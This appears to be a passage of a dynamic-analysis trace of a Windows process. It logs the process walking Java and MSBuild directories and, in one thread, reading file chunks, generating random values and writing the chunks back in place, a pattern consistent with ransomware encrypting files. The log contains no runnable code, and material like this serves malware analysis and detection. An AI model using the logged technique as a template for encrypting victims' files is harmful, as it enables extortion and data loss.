	[0092.558] CreateFileW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0092.558] GetLastError () returned 0x5
	[0092.558] SetFileAttributesW (lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0
	[0092.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4717b30) returned 1
	[0092.558] FindNextFileW (in: hFindFile=0x2dad6b8, lpFindFileData=0x470eb18 | out: lpFindFileData=0x470eb18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51e286aa, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x51e286aa, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x84d80300, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0
	[0092.558] FindClose (in: hFindFile=0x2dad6b8 | out: hFindFile=0x2dad6b8) returned 1
	[0092.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x470eb18) returned 1
	[0092.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e31b38) returned 1
	[0092.558] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476dcd8) returned 1

Thread:
	id = 841
	os_tid = 0xfb8

	[0079.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x64) returned 0x47ed1b0
	[0079.982] wcscpy (in: _Dest=0x47ed1b0, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin"
	[0079.982] wcscat (in: _Dest=0x47ed1b0, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\"
	[0079.982] wcscat (in: _Dest=0x47ed1b0, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*"
	[0079.982] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712270
	[0079.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\dtplugin\\*", lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aaa8
	[0085.069] wcscmp (_String1=".", _String2=".") returned 0
	[0085.069] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2891a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.069] wcscmp (_String1="..", _String2=".") returned 1
	[0085.069] wcscmp (_String1="..", _String2="..") returned 0
	[0085.069] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xfa840, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1
	[0085.070] wcscmp (_String1="deployJava1.dll", _String2=".") returned 1
	[0085.070] wcscmp (_String1="deployJava1.dll", _String2="..") returned 1
	[0085.070] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1
	[0085.070] wcscmp (_String1="npdeployJava1.dll", _String2=".") returned 1
	[0085.070] wcscmp (_String1="npdeployJava1.dll", _String2="..") returned 1
	[0085.070] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712270 | out: lpFindFileData=0x4712270*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11a640, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0
	[0085.070] FindClose (in: hFindFile=0x477aaa8 | out: hFindFile=0x477aaa8) returned 1
	[0085.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4712270) returned 1
	[0085.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed1b0) returned 1
	[0085.070] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47806a8) returned 1

Thread:
	id = 842
	os_tid = 0xfb0

	[0079.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x62) returned 0x47ed220
	[0079.984] wcscpy (in: _Dest=0x47ed220, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2"
	[0079.984] wcscat (in: _Dest=0x47ed220, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\"
	[0079.984] wcscat (in: _Dest=0x47ed220, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*"
	[0079.984] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47124d8
	[0079.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aaa8
	[0085.092] wcscmp (_String1=".", _String2=".") returned 0
	[0085.092] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.092] wcscmp (_String1="..", _String2=".") returned 1
	[0085.092] wcscmp (_String1="..", _String2="..") returned 0
	[0085.092] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0085.092] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1
	[0085.092] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1
	[0085.092] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1
	[0085.092] wcscmp (_String1="npjp2.dll", _String2=".") returned 1
	[0085.092] wcscmp (_String1="npjp2.dll", _String2="..") returned 1
	[0085.092] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x47124d8 | out: lpFindFileData=0x47124d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 0
	[0085.092] FindClose (in: hFindFile=0x477aaa8 | out: hFindFile=0x477aaa8) returned 1
	[0085.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47124d8) returned 1
	[0085.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ed220) returned 1
	[0085.093] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47803d0) returned 1

Thread:
	id = 843
	os_tid = 0x1300

	[0080.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780710
	[0080.036] wcscpy (in: _Dest=0x4780710, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server"
	[0080.036] wcscat (in: _Dest=0x4780710, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\"
	[0080.036] wcscat (in: _Dest=0x4780710, _Source="*" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*"
	[0080.036] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712740
	[0080.036] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0x4712740 | out: lpFindFileData=0x4712740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477aaa8
	[0085.096] wcscmp (_String1=".", _String2=".") returned 0
	[0085.096] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712740 | out: lpFindFileData=0x4712740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0085.096] wcscmp (_String1="..", _String2=".") returned 1
	[0085.096] wcscmp (_String1="..", _String2="..") returned 0
	[0085.096] FindNextFileW (in: hFindFile=0x477aaa8, lpFindFileData=0x4712740 | out: lpFindFileData=0x4712740*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1
	[0085.096] wcscmp (_String1="classes.jsa", _String2=".") returned 1
	[0085.096] wcscmp (_String1="classes.jsa", _String2="..") returned 1
	[0085.096] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bdd90
	[0085.096] wcscpy (in: _Dest=0x47bdd90, _Source="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server"
	[0085.096] wcscat (in: _Dest=0x47bdd90, _Source="\\" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\"
	[0085.096] wcscat (in: _Dest=0x47bdd90, _Source="classes.jsa" | out: _Dest="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa") returned="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa"

Thread:
	id = 844
	os_tid = 0x12f0

	[0081.713] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat")) returned 0x20
	[0085.279] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat", dwFileAttributes=0x20) returned 1
	[0085.279] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default User.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\default user.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x146c
	[0085.280] GetFileSizeEx (in: hFile=0x146c, lpFileSize=0x1eabfa2c | out: lpFileSize=0x1eabfa2c*=602320) returned 1
	[0085.280] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x930cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.280] ReadFile (in: hFile=0x146c, lpBuffer=0x1eabf9b0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eabf9ac, lpOverlapped=0x0 | out: lpBuffer=0x1eabf9b0*, lpNumberOfBytesRead=0x1eabf9ac*=0x4, lpOverlapped=0x0) returned 1
	[0085.282] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0085.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781670
	[0085.282] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47817b0
	[0085.282] NtQuerySystemTime (in: CurrentTime=0x1eabf98c | out: CurrentTime=0x1eabf98c*=132251868120151407) returned 0x0
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x8ea6e3d2
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xc8d77b87
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xd19973de
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x28f2e832
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x160de918
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xfea9214f
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xbd2721cd
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xe61f3e1d
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x5cc4b43a
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xb7a93508
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x2292ec54
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x8fd26e97
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x4c4264bc
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x6b9e54d4
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x5fc6ae3e
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xff92dbd3
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xfbad5abd
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xab3f62ec
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xb4e5f732
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x606d7ec7
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x3b1eb614
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x48813386
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x4cc9a2c9
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x3f0e3fe9
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x1300ff6e
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x4d4524fd
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xe5e88a94
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x7d552e52
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xaa65f7da
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0x88c63a25
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xaa8a47c4
	[0085.282] RtlRandom (in: Seed=0x1eabf998 | out: Seed=0x1eabf998) returned 0xa0d7de5c
	[0085.291] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.291] ReadFile (in: hFile=0x146c, lpBuffer=0x4e34060, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4e34060*, lpNumberOfBytesRead=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0085.293] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb1e0
	[0085.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04090
	[0085.293] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47816c0
	[0085.293] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47816c0) returned 1
	[0085.294] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0085.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47814e0
	[0085.295] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781440
	[0085.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781440) returned 1
	[0085.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.295] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.295] WriteFile (in: hFile=0x146c, lpBuffer=0x4ea3008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesWritten=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0087.119] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0087.138] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.138] ReadFile (in: hFile=0x146c, lpBuffer=0x4e34060, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4e34060*, lpNumberOfBytesRead=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0087.143] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x4b000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d82d60
	[0087.143] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.143] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.144] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0087.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47b28
	[0087.149] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47ba0
	[0087.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47ba0) returned 1
	[0087.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d82d60) returned 1
	[0087.149] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.149] WriteFile (in: hFile=0x146c, lpBuffer=0x4ea3008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesWritten=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0087.153] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0087.153] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x868d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.153] ReadFile (in: hFile=0x146c, lpBuffer=0x4e34060, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4e34060*, lpNumberOfBytesRead=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0087.158] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x868d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0087.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb108
	[0087.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d835d0
	[0087.158] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0087.158] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f38) returned 1
	[0087.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4ea3008
	[0087.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f38
	[0087.159] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e47f60
	[0087.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e47f60) returned 1
	[0087.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d835d0) returned 1
	[0087.159] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb108) returned 1
	[0087.160] WriteFile (in: hFile=0x146c, lpBuffer=0x4ea3008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1eabf944, lpOverlapped=0x0 | out: lpBuffer=0x4ea3008*, lpNumberOfBytesWritten=0x1eabf944*=0xc800, lpOverlapped=0x0) returned 1
	[0093.133] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ea3008) returned 1
	[0093.133] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733db0
	[0093.134] SetFilePointerEx (in: hFile=0x146c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.134] WriteFile (hFile=0x146c, lpBuffer=0x498ec08, nNumberOfBytesToWrite=0x151, lpNumberOfBytesWritten=0x1eabf9ec, lpOverlapped=0x0) 

Thread:
	id = 845
	os_tid = 0x1304

	[0081.714] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat" (normalized: "c:\\programdata\\microsoft\\user account pictures\\fd1hvy.dat")) returned 0x20
	[0085.413] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\FD1HVy.dat", dwFileAttributes=0x20) returned 1
